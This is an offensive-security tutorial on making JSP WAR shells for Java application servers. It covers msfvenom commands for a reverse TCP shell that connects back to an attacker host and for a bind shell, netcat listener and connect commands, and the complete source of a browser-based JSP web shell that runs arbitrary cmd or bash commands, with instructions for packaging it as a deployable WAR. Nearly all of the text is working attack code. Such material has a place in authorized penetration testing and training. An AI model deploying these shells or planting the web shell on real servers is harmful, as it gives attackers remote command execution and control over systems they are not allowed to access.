JSP War Shell
How to generate a reverse, bind, and in-browser JSP War shell. This will cover generating payloads with MSFVenom and manually creating a war file from our own JSP file(s).
JSP War Shell MSFVenom
Using the msfvenom
tool built into Kali, we can see what shells we have available:
1
2
3
4
root@kali:~# msfvenom --list payloads | grep jsp
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
root@kali:~#
We can check what settings need to be specified using:
1
2
msfvenom -p java/jsp_shell_bind_tcp --list-options
msfvenom -p java/jsp_shell_reverse_tcp --list-options
JSP War Reverse Shell
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.123 LPORT=3155 -f war > shell.war
A netcat listener can be setup to listen for the connection using:
1
nc -nvlp 3155
JSP War Bind Shell
1
msfvenom -p java/jsp_shell_bind_tcp RHOST=0.0.0.0 LPORT=3155 -f war > bind.war
We can then use netcat to connect to the bind shell:
1
nc -nv 192.168.0.123 3155
Dealing with Errors
The above two shells are designed to working with Windows and Linux servers. However, sometimes the following message can come up after trying to load the application:
This can be resolved by unzipping the war file, removing the System call, and replacing the OS check with correct shell path:
1
String ShellPath = new String("cmd.exe");
JSP War Simple Browser Shell
Apologies for the below code highlight, apparently the code highlighter doesn’t like JSP code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<body style="background: rgb(30,30,30);">
<form method="GET" action="index.jsp">
<h4 style="color: white;">Command Options</h4>
<select id="osType" name="osType">
<option value="win">Windows</option>
<option value="linux">Linux</option>
</select>
</br>
</br>
<input id="cmd" name="cmd" type=text autofocus style="width: 300px;">
<input type=submit value="Run Command">
</form>
<%@ page import="java.io.*" %>
<%!
// Not Perfect, but will be good enough for a majority of cases that will arise
public String HtmlEncode(String inputVal) {
return inputVal.replaceAll("&", "&").replaceAll("<", "<").replaceAll(">", ">").replaceAll("\'", "'").replaceAll("\"", """);
}
public String RunCommand(String commandToRun, String osType) {
String outputString = "";
String currentLine = null;
try {
ProcessBuilder processBuilder = new ProcessBuilder();
if (osType.equals("win")) {
processBuilder.command("cmd", "/c", commandToRun);
} else {
processBuilder.command("bash", "-c", commandToRun);
}
Process p = processBuilder.start();
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((currentLine = sI.readLine()) != null) {
outputString += HtmlEncode(currentLine) + "</br>";
}
} catch(IOException e) {
outputString = "ERROR: </br></br>" + e.getCause() + "</br></br>" + e.getMessage() + "</br>";
}
return outputString;
}
%>
<%
String osType = request.getParameter("osType");
String cmd = request.getParameter("cmd");
String output = "";
String htmlCmd = "";
String htmlOsType = "";
if (osType == null || (!osType.equals("win") && !osType.equals("linux"))) {
osType = "linux";
}
if(cmd != null) {
String line = null;
String testCommand = RunCommand("", osType);
if (testCommand.startsWith("ERROR:")) {
output = RunCommand(cmd, osType);
} else {
if (osType.equals("win")) {
output = "<b style=\"color: white;\">" + HtmlEncode(RunCommand("cd", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", "")) + HtmlEncode("> ") + HtmlEncode(cmd) + "</br></br></b>";
} else {
String username = HtmlEncode(RunCommand("whoami", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));
String hostname = HtmlEncode(RunCommand("hostname", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));
String workingDir = HtmlEncode(RunCommand("pwd", osType).trim().replaceAll("</br>", "").replaceAll("\r", "").replaceAll("\n", ""));
String userAndHost = "<b style=\"color: rgb(136,223,51);\">" + username + "@" + hostname + "</b>" + "<span style=\"color: white;\">:</span>";
String dirPath = "<span style=\"color: rgb(114,159,207);\">" + workingDir + "</span>";
output = userAndHost + dirPath + "<span style=\"color: white;\"># " + HtmlEncode(cmd) + "</span></br></br>";
}
output += RunCommand(cmd, osType);
}
htmlCmd = HtmlEncode(cmd);
htmlOsType = HtmlEncode(osType);
}
%>
<pre style="color: white;"><%=output %></pre>
<script>
let cmdValue = "<%=htmlCmd %>".replaceAll(""", "\"").replaceAll("'", "\'").replaceAll(">", ">").replaceAll("<", "<").replaceAll("&", "&");
let osTypeValue = "<%=htmlOsType %>";
if (osTypeValue !== 'win' && osTypeValue !== 'linux') osTypeValue = 'linux';
document.getElementById('cmd').value = cmdValue;
document.getElementById('osType').value = osTypeValue;
</script>
</body>
Example Shell Running on Windows
Example Shell Running on Linux
Package with Java
With the above JSP code, we can bundle it into a war file using the jar
tool that comes with Java JDK:
1
2
jar -cvf OUTPUT_FILE INPUT_FILES
jar -cvf browser-shell.war index.jsp
index.jsp
can also be substituted with*
to bundle all the files in the current folder.
Package Manually
Alternatively, you can create a folder called META-INF
, and inside that folder created a file called MANIFEST.MF
. This file should contain the manifest version and Java version:
1
2
Manifest-Version: 1.0
Created-By: 17.0.1 (Oracle Corporation)
We then create a zip file with the index.jsp
file and the META-INF
folder using a tool like 7zip. The output file should be renamed so it has the .war
extension. The contents of the war file should look like this:
1
2
3
(FILE) index.jsp
(FOLDER) META-INF
(FILE) MANIFEST.MF